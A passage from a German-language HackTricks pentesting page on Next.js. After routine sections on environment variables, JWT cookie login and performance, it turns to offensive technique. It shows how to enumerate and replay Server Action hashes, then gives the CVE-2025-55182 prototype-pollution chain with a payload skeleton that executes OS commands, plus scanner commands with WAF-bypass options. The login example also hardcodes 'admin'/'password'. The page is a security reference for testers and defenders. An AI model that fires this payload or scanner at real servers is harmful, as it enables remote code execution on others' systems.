API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Hinweis: Um Variablen nur auf der Serverseite zu belassen, lasse sie im env-Objekt weg oder versehe sie mit dem Präfix NEXT_PUBLIC_, um sie dem Client zugänglich zu machen.
Authentifizierung und Autorisierung
Ansatz:
- Sitzungsbasierte Authentifizierung: Verwende Cookies, um Benutzersitzungen zu verwalten.
- Token-basierte Authentifizierung: Implementiere JWTs für zustandslose Authentifizierung.
- Drittanbieter-Provider: Integriere OAuth-Provider (z. B. Google, GitHub) mithilfe von Bibliotheken wie
next-auth.
Sicherheitspraktiken:
- Sichere Cookies: Setze die Attribute
HttpOnly,SecureundSameSite. - Passwort-Hashing: Hash Passwörter immer, bevor du sie speicherst.
- Eingabevalidierung: Verhindere Injection-Angriffe, indem du Eingaben validierst und bereinigst.
Beispiel:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Leistungsoptimierung
Strategien:
- Bildoptimierung: Verwenden Sie die
next/image-Komponente von Next.js für automatische Bildoptimierung. - Code-Splitting: Nutzen Sie dynamische Imports, um Code zu splitten und die initialen Ladezeiten zu reduzieren.
- Caching: Implementieren Sie Caching-Strategien für API-Antworten und statische Assets.
- Lazy Loading: Laden Sie Komponenten oder Assets nur, wenn sie benötigt werden.
Beispiel:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (Hash zum Funktionsnamen mithilfe von source maps)
Moderne Next.js verwendet „Server Actions“, die auf dem Server ausgeführt werden, aber vom Client aufgerufen werden. Im Produktivbetrieb sind diese Aufrufe undurchsichtig: alle POSTs landen auf einem gemeinsamen Endpoint und werden durch einen build-spezifischen Hash unterschieden, der im Header Next-Action gesendet wird. Beispiel:
POST /
Next-Action: a9f8e2b4c7d1...
Wenn productionBrowserSourceMaps aktiviert ist, enthalten minifizierte JS-Chunks Aufrufe von createServerReference(...), die genug Struktur leak (plus zugehörige source maps), um eine Zuordnung zwischen dem Action-Hash und dem ursprünglichen Funktionsnamen wiederherzustellen. Dadurch kannst du Hashes, die in Next-Action beobachtet werden, in konkrete Ziele wie deleteUserAccount() oder exportFinancialData() übersetzen.
Extraktionsansatz (regex auf minifizierten JS + optionale source maps)
Durchsuche heruntergeladene JS-Chunks nach createServerReference und extrahiere den Hash sowie das Funktions-/Quellsymbol. Zwei nützliche Muster:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Gruppe 1: server action hash (40+ hex chars)
- Gruppe 2: Symbol oder Pfad, der (wenn vorhanden) über die source map auf den ursprünglichen Funktionsnamen aufgelöst werden kann
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Praktische Vorgehensweise
- Passive Entdeckung beim Browsen: Anfragen mit
Next-Action-Headern und JS chunk URLs erfassen. - Die referenzierten JS bundles und die zugehörigen
*.map-Dateien herunterladen (falls vorhanden). - Führe das oben erwähnte regex aus, um ein Hash↔Name-Wörterbuch zu erstellen.
- Das Wörterbuch verwenden, um Tests anzusprechen:
- Namensbasierte Triage (z. B.
transferFunds,exportFinancialData). - Abdeckung über Builds hinweg nach Funktionsnamen verfolgen (Hashes rotieren zwischen Builds).
- Namensbasierte Triage (z. B.
Exercising hidden actions (template-based request)
Nimm einen gültigen POST, der im Proxy beobachtet wurde, als Vorlage und tausche den Next-Action-Wert aus, um eine andere entdeckte action anzusprechen:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Wiederhole in Repeater und teste Autorisierung, Eingabevalidierung und Business-Logik von ansonsten unerreichbaren Aktionen.
Burp-Automatisierung
- NextjsServerActionAnalyzer (Burp-Erweiterung) automatisiert das oben Genannte in Burp:
- Durchsucht den Proxy-Verlauf nach JS-Chunks, extrahiert
createServerReference(...)-Einträge und parst Source-Maps, wenn verfügbar. - Pflegt ein durchsuchbares Hash↔Funktionsnamen-Wörterbuch und entfernt Duplikate über Builds hinweg anhand des Funktionsnamens.
- Kann einen gültigen Template-POST finden und einen versandbereiten Repeater-Tab öffnen, in dem der Hash der Zielaktion eingesetzt ist.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Hinweise und Einschränkungen
- Erfordert
productionBrowserSourceMapsin der Produktion, um Namen aus Bundles/Source-Maps wiederherzustellen. - Die Offenlegung von Funktionsnamen ist für sich genommen keine Schwachstelle; nutze sie zur Orientierung bei der Entdeckung und teste die Autorisierung jeder Aktion.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router-Deployments, die Server Actions auf react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) exponieren, enthalten während der Deserialisierung von Flight-Chunks eine kritische serverseitige Prototype Pollution. Durch das Konstruieren von $-Referenzen innerhalb eines Flight-Payloads kann ein Angreifer von verschmutzten Prototypen zu beliebiger JavaScript-Ausführung und anschließend zur Ausführung von OS-Kommandos im Node.js-Prozess gelangen.
NodeJS - proto & prototype Pollution
Angriffskette in Flight-Chunks
- Prototype pollution primitive: Setze
"then": "$1:__proto__:then", sodass der Resolver einethen-Funktion aufObject.prototypeschreibt. Jedes danach verarbeitete einfache Objekt wird thenable und erlaubt dem Angreifer, den asynchronen Kontrollfluss innerhalb der RSC-Innenlogik zu beeinflussen. - Neubindung an den globalen
Function-Konstruktor: Richte_response._formData.getauf"$1:constructor:constructor"aus. Während der Resolution ergibtobject.constructor→ObjectundObject.constructor→Function, sodass spätere Aufrufe von_formData.get()tatsächlichFunction(...)ausführen. - Codeausführung über
_prefix: Platziere JavaScript-Code in_response._prefix. Wenn das verschmutzte_formData.getaufgerufen wird, wertet das FrameworkFunction(_prefix)(...)aus, sodass der injizierte JSrequire('child_process').exec()oder jede andere Node-Primitive ausführen kann.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
Kartierung der Exposition von React Server Functions
React Server Functions (RSF) sind alle Funktionen, die die ‘use server’;-Direktive enthalten. Jede form action, mutation oder fetch helper, die an eine dieser Funktionen gebunden ist, wird zu einem RSC Flight endpoint, das attacker-supplied payloads problemlos deserialisiert. Nützliche recon-Schritte, abgeleitet aus React2Shell assessments:
- Static inventory: Suche nach der Direktive, um zu verstehen, wie viele RSFs vom Framework automatisch exponiert werden.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router-Standardeinstellungen:
create-next-appaktiviert standardmäßig den App Router + dasapp/-Verzeichnis, was stillschweigend jede Route in einen RSC-fähigen Endpoint verwandelt. App Router-Assets wie/_next/static/chunks/app/oder Antworten, die Flight-Chunks übertext/x-componentstreamen, sind starke, öffentlich sichtbare Fingerprints. - Implizit verwundbare RSC-Deployments: Reacts eigene Advisory weist darauf hin, dass Apps, die die RSC-Runtime ausliefern, ausnutzbar sein können selbst ohne explizite RSFs, behandle daher jeden Build, der
react-server-dom-*in Version 19.0.0–19.2.0 verwendet, als verdächtig. - Andere Frameworks, die RSC bündeln: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku usw. verwenden denselben Serializer und übernehmen dieselbe entfernte Angriffsfläche, bis sie gepatchte React-Builds einbetten.
Versionsabdeckung (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: verwundbar in 19.0.0, 19.1.0–19.1.1 und 19.2.0; gefixt in 19.0.1, 19.1.2 und 19.2.1 jeweils.- Next.js stable: App Router-Releases 15.0.0–16.0.6 betten den verwundbaren RSC-Stack ein. Patch-Trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 enthalten gefixte deps, daher sind Builds unter diesen Versionen besonders relevant.
- Next.js canary:
14.3.0-canary.77+liefert ebenfalls die fehlerhafte Runtime und hat derzeit keine gepatchten canary-Drops, wodurch diese Fingerprints starke Kandidaten für Exploits sind.
Remote-Detektions-Oracle
Assetnote’s react2shell-scanner sendet eine gezielt gefertigte multipart Flight-Anfrage an Kandidatenpfade und beobachtet das serverseitige Verhalten:
- Default mode führt eine deterministische RCE-Payload aus (eine Rechenoperation, die via
X-Action-Redirectreflektiert wird) und beweist damit Codeausführung. --safe-checkmode macht die Flight-Nachricht absichtlich fehlerhaft, sodass gepatchte Server200/400zurückgeben, während verwundbare ZieleHTTP/500-Antworten mit dem SubstringE{"digest"im Body ausgeben. Dieses(500 + digest)-Paar ist derzeit das zuverlässigste Remote-Oracle, das von Verteidigern veröffentlicht wurde.- Eingebaute Schalter
--waf-bypass,--vercel-waf-bypassund--windowspassen das Payload-Layout an, fügen Junk voran oder tauschen OS-Kommandos aus, sodass du reale Internet-Assets sondieren kannst.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Referenzen
- Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
- assetnote/react2shell-scanner
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

